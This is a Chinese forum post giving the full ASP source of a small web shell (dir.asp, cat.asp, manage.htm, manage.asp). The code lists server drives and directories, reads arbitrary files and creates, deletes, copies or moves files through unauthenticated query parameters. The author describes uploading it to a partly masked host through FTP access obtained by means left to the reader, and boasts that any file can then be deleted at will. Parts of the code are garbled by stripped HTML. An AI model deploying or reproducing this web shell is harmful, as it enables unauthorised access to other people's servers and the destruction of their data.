返回列表 发帖

[灌水]利用ASP实现对Web主机硬盘文件的读写

ASP的全称是Active Server Page,是由Microsoft公司开发的一种互动的Web应用程序。利用它可以编出很多应用程序,是Web服务更加互动,更符合用户的需求。当然,为了需要,其中也包含了操作文件系统的一些指令和函数.有一个可以用来列出服务器硬盘文件目录的ASP应用程序其文件名为dir.asp,cat.asp,manage.htm和manage.asp。dir.asp是用来显示服务器制定路径的目录文件,cat.asp是用来显示制定文件,manage.htm和manage.asp是用来实现对目录和文件的操作(建立、删除、复制、移动)。其原代码在本文最后。 不过要让服务器执行你说写的ASP命令,首先要把你写的文件放到服务器的根目录下面才可以。我们假设实验的主机是202.192.*.*。首先要将文件传上主机,这点要靠自己的办法了,我是靠FTP来实现的,因为其FTP根目录和Web根目录都是主机上的同一个文件夹。我取得了FTP的完全权限。具体方法大家自己想咯。 首先将写好的文件上传至ftp://202.192.*.*,然后通过访问http://202.192.*.*/dir.asp?pp=c:\ 你可以看到服务器硬盘分区C的根目录下所有目录和文件。改变"pp="后面的参数,就可以看到不同分区的信息。 接下来就是执行http://202.192.*.*/manage.htm 了,这是一个整合了所有文件操作功能的ASP文件管理程序。具体使用大家看到程序就会明白的。这里不多说。 现在你就可以随心所欲的改变服务器的文件了,你想把哪个文件删除就删除,想建立就建立,因为这一切在IIS看来都是正当的要求,它没理由拒绝执行啊,^_^! 各文件源代码 dir.asp <% @language="vbscript"%> <% spp=request.querystring("pp") 'physical path sup=request.querystring("up") 'url path mode=request.querystring("mode") if spp & "" = "" then spp=getpp if sup & "" = "" then sup=getup result =dir(spp,sup) function dir(byval spp,byval sup) if right(spp,1) <> "\" then spp=spp&"\" if right(sup,1) <> "/" then sup=sup&"/" response.write "Index of "&spp&"

" set fso=CreateObject("Scripting.filesystemobject") set f=fso.getfolder(spp) set fc=f.files set ff=f.subfolders response.write "" if mode="drivers" then set dc=fso.drives for each d in dc response.write "" response.write "" next set dc=nothing else 'set parent folder if right(spp,2)=":\" then response.write "drive list

" else response.write "" end if for each f in ff response.write "" response.write "" next for each f in fc response.write "" response.write "" next end if set ff=nothing set fso=nothing set f=nothing set fc=nothing end function function pardir(byval s,byval slash) pardir="" if s & ""="" then exit function s=left(s,len(s)-1) do while true c=right(s,1) if c = ":" then exit do if c <> slash then if len(s) <=0 then exit do s=left(s,len(s)-1) else exit do end if loop pardir=s end function function image(byval sname) dim stype: stype=gettype(sname) image="" select case stype case ".htm" image=image &"sub_2.gif" case ".html" image=image &"sub_2.gif" case ".bak" image=image &"sub_2.gif" case ".BAK" image=image &"sub_2.gif" case ".gif" case ".GIF" image=image &"sub_2.gif" case ".jpg" case ".JPG" image=image &"sub_2.gif" case ".jpeg" case ".JPEG" image=image &"sub_2.gif" case ".bmp" image=image &"sub_2.gif" case ".BMP" image=image &"sub_2.gif" case ".txt" image=image &"sub_2.gif" case else image=image &"sub_2.gif" end select end function function getpp 'physical path dim s s=request.servervariables("path_translated") do while true if instr(s,"\") then if right(s,1)="\" then exit do s=left(s,len(s)-1) else exit do end if loop getup="http://"&s end function function gettype(byval s) 'get file type do while true if instr(s,".") then if left(s,1)="." then exit do s=right(s,len(s)-1) else gettype="" exit do end if loop gettype=s end function %> cat.asp <% response.contenttype="text/plain" file=request.querystring("file") if file="" then response.write "请输入要看的文件名:http://xxx/cat.asp?file=c:\autoexec. bat" else set fsFilesys=CreateObject("Scripting.FileSystemObject") set tsCoffee=fsFilesys.OpenTextFile(file) response.write tscoffee.Readall tsCoffee.close set fsFilesys=nothing set tsCoffee=nothing end if %> manage.htm New Page 1
"&d.DriveLetter &":\" &d.DriveType &"
" response.write "parent directory
"&f.name&"\
"&f.name&"

文件在线管理系统

复制文件

copy

to

复制目录

copy

to

建立文件

create

删除文件

delete

建立目录

create

under

删除目录

delete

under

移动文件

move

to

移动目录

move

to

manage.asp <%@ LANGUAGE="VBScript" %> <% ca = request.querystring("T1") cb = request.querystring("T2") Set fso = Server.CreateObject("Scripting.FileSystemObject") If fso.FileExists(cf) Then fso.CopyFile ca, cb, True Response.Write "已被复制到" Else Response.Write "不存在,复制失败 !" End If Set fso = Server.CreateObject("Scripting.FileSystemObject") cf = request.querystring("T3") ct = request.querystring("T4") fso.CopyFolder cf, ct, True Response.Write "已将 目录复制到 目录了 !" fp = request.querystring("T5") Set fso = Server.CreateObject("Scripting.FileSystemObject") Set tso = fso.CreateTextFile(fp, True, False) tso.Close Response.Write "newdata.txt 已建立" fp1 = request.querystring("T6") Set fso = Server.CreateObject("Scripting.FileSystemObject") If fso.FileExists(fp1) Then fso.DeleteFile fp1, True Response.Write "newdata.txt 已删除" Else Response.Write "newdata.txt 不存在" End If Set fso = Server.CreateObject("Scripting.FileSystemObject") fp2 = fso.BuildPath(request.querystring("T7"), request.querystring("T8")) Set fod = fso.CreateFolder(fp2) Response.Write "主目录下已建立好名为 subfolder 的子目录" Set fso = Server.CreateObject("Scripting.FileSystemObject") fp3 = fso.BuildPath(request.querystring("T9"), request.querystring("T10") ) fso.DeleteFolder fp3, True Response.Write "主目录下已删除名为 subfolder 的子目录" mf = request.querystring("T11") mt = request.querystring("T12") Set fso = Server.CreateObject("Scripting.FileSystemObject") If fso.FileExists(mf) Then fso.MoveFile mf, mt Response.Write "movefrom.txt 已被移动到 moveto.txt" Else Response.Write "movefrom.txt 不存在,移动失败" End If mf1 = request.querystring("T13") mt1 = request.querystring("T14") Set fso = Server.CreateObject("Scripting.FileSystemObject") fso.MoveFolder mf1, mt1 Response.Write "已将subfolder 目录移动到 moveto 目录了 !" %>

返回列表 回复 发帖